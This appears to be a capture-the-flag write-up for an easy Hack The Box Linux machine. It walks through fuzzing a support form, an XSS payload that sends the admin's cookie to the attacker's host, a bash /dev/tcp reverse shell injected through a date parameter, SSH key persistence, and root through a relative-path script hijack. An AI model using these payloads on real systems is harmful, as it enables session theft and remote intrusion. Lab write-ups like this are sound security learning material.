HTB; Linux; Easy 10.129.227.151

TL;DR, the server is vulnerable to XXS injection and the cookie is not set to HttpOnly. For the privilege escalation, try sudo -l.

Initial Enumeration

Initial port scan showed open ports are 22 and 5000

  1. 22 should be boring as hell, we’ll leave it alone
  2. 5000, is a site where you can ask questions

Doing the directory enumeration with FFUF

  1. ffuf -w /usr/share/wordlists/dirb/common.txt -u http://10.129.232.215:5000/FUZZ -mc all -ac

Found only two paths, /dashboard and /support

Go to dashboard will get blocked due to the authentication issue. If we take a look of the headers, the cookie part seems exploitable

I tried to base64 encode “admin” and replace the “user” part in the cookie, but it’s not working.

Initial Foothold

It looks like the breakthrough point is the /support directory. After some attempts, I found that the message text column is vulnerable to XXS injection

  1. ffuf -w /usr/share/wordlists/seclists/Fuzzing/XSS/human-friendly/XSS-BruteLogic.txt -u http://10.129.232.215:5000/support -X POST -d "fname=123&lname=123&email=hello%40123.com&phone=123&message=FUZZ" -H "Content-Type: application/x-www-form-urlencoded" -mc all -ac

Let’s try it at the page

The response page will display the headers of the XXS injection request

Try to add an customized header sample:display and send the XXS injection again, found that the sample:display header is also displayed. We may be able to achieve the admin’s cookie.

Before we steal the admin’s cookie, need to check if the cookie has the HttpOnly and Secure disabled.

So the cookie has a few settings, I did a few research on OWASP https://owasp.org/www-community/HttpOnly?form=MG0AV3

  1. HttpOnly is set to false, which allows the cookie to be accessed through client side script. If it’s set to True, then the cookie is not accessible through XXS, but one condition is that the browser has to support with HttpOnly.
  2. Secure is set to false, the Cookie has to be transferred between two parties with HTTPS protocol.

Now, set up a python HTTP server at Kali, and then inject the following XXS into the sample header

  1. sample: display<script> document.location = "http://10.10.14.60/?cookie=" + document.cookie; </script>

Got the admin’s cookie: ImFkbWluIg.dmzDkZNEm6CK0oyL1fbM-SnXpH0

At the dashboard page, it’s quite plain. I tried to use ; to inject the command, and it worked, pure luck.

I used the one line reverse shell code, this is by far my favorite one line reverse shell.

  1. date=2023-09-22;/bin/bash%20-c%20’bash%20-i%20%3E%26%20/dev/tcp/<ip address>/<port>%200%3E%261′

Privilege Escalation

Once we are in as the dvir user, the first thing I did is to create a more persistent access, which is adding the ssh public key to its /home/dvir/.ssh/authorized_keys folder, then connect with the ssh

  1. ssh -i id_rsa divr@target_ip_addr

Then using sudo -l, showed that we are allowed to run /usr/bin/syscheck with sudo, no password required

Take a look inside of /usr/bin/syscheck, I used strings /usr/bin/syscheck, it turned out that this is a bash script

The key part is these few lines

if ! /usr/bin/pgrep -x "initdb.sh" &>/dev/null; then
/usr/bin/echo "Database service is not running. Starting it…"
./initdb.sh 2>/dev/null

Literally the script will look for initdb.sh in the running process, if there is no running process, then it will call initdb.sh locally. This makes things very easy. We could go to /tmp folder, and create an initdb.sh script with following content

Then call for /tmp/bash -p, we will be root in this case. Problem Solved.